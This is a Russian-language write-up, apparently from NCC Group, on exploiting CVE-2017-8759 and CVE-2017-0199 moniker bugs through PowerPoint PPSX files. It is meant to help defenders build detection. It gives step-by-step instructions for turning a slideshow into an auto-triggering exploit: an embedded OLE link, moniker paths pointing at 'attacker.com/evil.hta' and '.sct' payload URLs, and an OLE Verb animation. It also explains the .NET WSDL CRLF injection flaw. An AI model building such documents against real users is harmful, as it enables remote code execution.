
Анализ и эксплуатация CVE-2017-8759 от NCC Group вместе с дальнейшими доработками.
Этот репозиторий содержит примеры эксплойтов для CVE-2017-8759 для Microsoft PowerPoint, а также описание того, как подобные уязвимости были и могут быть использованы с помощью тех же методов.
Цель публикации этого репозитория — осветить альтернативные методы эксплуатации, о которых защитники могут быть не осведомлены. Освещая эти альтернативные методы, мы надеемся дать защитникам возможность реализовать надёжное обнаружение и избежать как ложных срабатываний (в случае ошибочной идентификации других эксплойтов Moniker как CVE-2017-0199), так и ложноотрицательных результатов (когда внимание сосредоточено только на RTF-обнаружениях).
Ещё в апреле, когда я услышал новость о том, что новая неисправленная уязвимость эксплуатируется «в дикой природе», я попытался воссоздать эксплойт, чтобы можно было создать правила обнаружения до того, как уязвимость станет публичной. Однако в то время у меня была только информация из блогов FireEye и McAfee. Из-за отсутствия публичных деталей это привело к тому, что я в итоге эксплуатировал уязвимость с помощью (как оказалось) совершенно другого метода, нежели тот, который использовался в эксплойте «RTF URL Moniker», замеченном «в дикой природе».
Примерно через месяц Хайфей Ли (Haifei Li) выделил вторую уязвимость (также известную как «PPSX Script Moniker») в своём докладе на SyScan360; он обнаружил и сообщил о ней ещё в январе 2017 года. Она была исправлена тем же патчем CVE-2017-0199, но эксплуатировалась (как самим автором, так и позже в дикой природе) с использованием формата PPSX. На тот момент мне всё ещё не было известно об атаках «в дикой природе», использующих ошибку URL Moniker через PPSX — однако, поскольку обе ошибки были исправлены одним CVE, существовала (и всё ещё существует) некоторая путаница в отношении обнаружения этих эксплойтов (об этом позже).
Перенесёмся в сентябрь 2017 года, когда FireEye обнаружила ещё одну уязвимость, использующую формат RTF в Microsoft Word. Это побудило меня вернуться к моему предыдущему эксплойту «PPSX URL Moniker», чтобы выяснить, можно ли новую ошибку «SOAP Moniker» также эксплуатировать с помощью той же техники PPSX.
Как упоминалось выше, предыдущая уязвимость (CVE-2017-0199) фактически представляла собой две отдельные уязвимости, которые были исправлены Microsoft под одним номером CVE. Первая (также известная как ошибка «URL moniker») эксплуатировалась с помощью RTF, однако вторая (ошибка «script moniker») использовала совершенно другой метод и эксплуатировалась с помощью формата OOXML, а именно PPSX.
Как также было сказано ранее, техника OOXML не специфична для уязвимости Script Moniker и может использоваться для эксплуатации уязвимостей «URL Moniker», «Script Moniker» и новой «SOAP Moniker».
Эксплуатация в OOXML довольно проста и использует несколько трюков для автоматической активации уязвимого объекта. Сначала я опишу эксплойт для URL Moniker, а затем объясню, как его можно обновить для работы с Script и Soap Moniker (и, возможно, с другими в будущем).
Сначала необходимо встроить ссылку на файл (называется StdOleLink или OLE2Link). В своём эксплойте я использовал ссылку на файл PowerPoint, как показано ниже. Это понадобится позже для активации моникера.

После размещения ссылки путь необходимо изменить, чтобы он содержал строку моникера. В случае ошибки «URL Moniker» достаточно добавить прямой URL к HTA-файлу (например, «http://attacker.com/evil.hta»). Для версии Script Moniker можно использовать строку «script:https://attacker.com/evil.sct». Путь к связанному объекту хранится в следующем расположении:
ppt\slides\_rels\slide1.xml.rels
Простого изменения на строку моникера достаточно, чтобы при активации связанного объекта сработала уязвимость. Однако это не происходит автоматически, если не использовать другой трюк.
Для автоматической активации объекта можно использовать так называемый «OLE Verb». Проще говоря, это заставляет PowerPoint «активировать» объект, вызывая метод IMoniker::BindToObject(), что в итоге приводит к выполнению вашего кода (в зависимости от моникера после этого выполняются разные пути).
Чтобы использовать OLE Verb, просто выберите встроенный объект и перейдите к:
Анимации -> Добавить анимацию -> OLE Action Verbs -> Открыть
После создания анимации OLE Verb можно выбрать «Начало: вместе с предыдущим», чтобы объект активировался сразу после запуска слайд-шоу.
На этом этапе, если вы решите сохранить документ как PPTX и открыть его, появится запрос на обновление ссылок. Это нежелательно с точки зрения эксплуатации.
Чтобы обойти это, можно просто сохранить файл как PPSX (слайд-шоу PowerPoint). Это приведёт к автоматическому запуску слайд-шоу при открытии (и, таким образом, к срабатыванию OLE Verb для выполнения вашего кода).
Как описано в блоге FireEye, уязвимость на самом деле находится в .NET framework, а не в самом Office. Это связано с проблемой внедрения кода при разборе WSDL-файла, содержащего несколько определений адресов. Если внедрить последовательность CRLF, можно добавить произвольный код в сгенерированный C#-файл, который затем компилируется в DLL и загружается приложением Office.
Сама ошибка присутствует в методе IsValidUrl класса WsdlParser в System.Runtime.Remoting. До патча CVE-2017-8759 этот метод не проверял символы CRLF и просто возвращал неочищенную строку (убедившись, что строка правильно экранирована), которая затем выводится в .cs-файл для компиляции csc.exe. Это означает, что если злоумышленник передаёт URL, содержащий \r\n, он может внедрить произвольный код в сгенерированный C#-файл. Причина, по которой внедрение CRLF срабатывает, заключается в том, что обычно при разборе WSDL-файла с несколькими определениями адресов метод PrintClientProxy пытается закомментировать последующие определения, как показано ниже.
Неисправленный IsValidUrl:

PrintClientProxy:

Проблема в том, что IsValidUrl всё же вызывается для URL второго адреса перед добавлением его в закомментированную строку. Если злоумышленник добавляет символы CRLF во втором определении адреса, при разборе кода методом IsValidUrl он может выйти из закомментированной строки и внедрить свой собственный C#-код.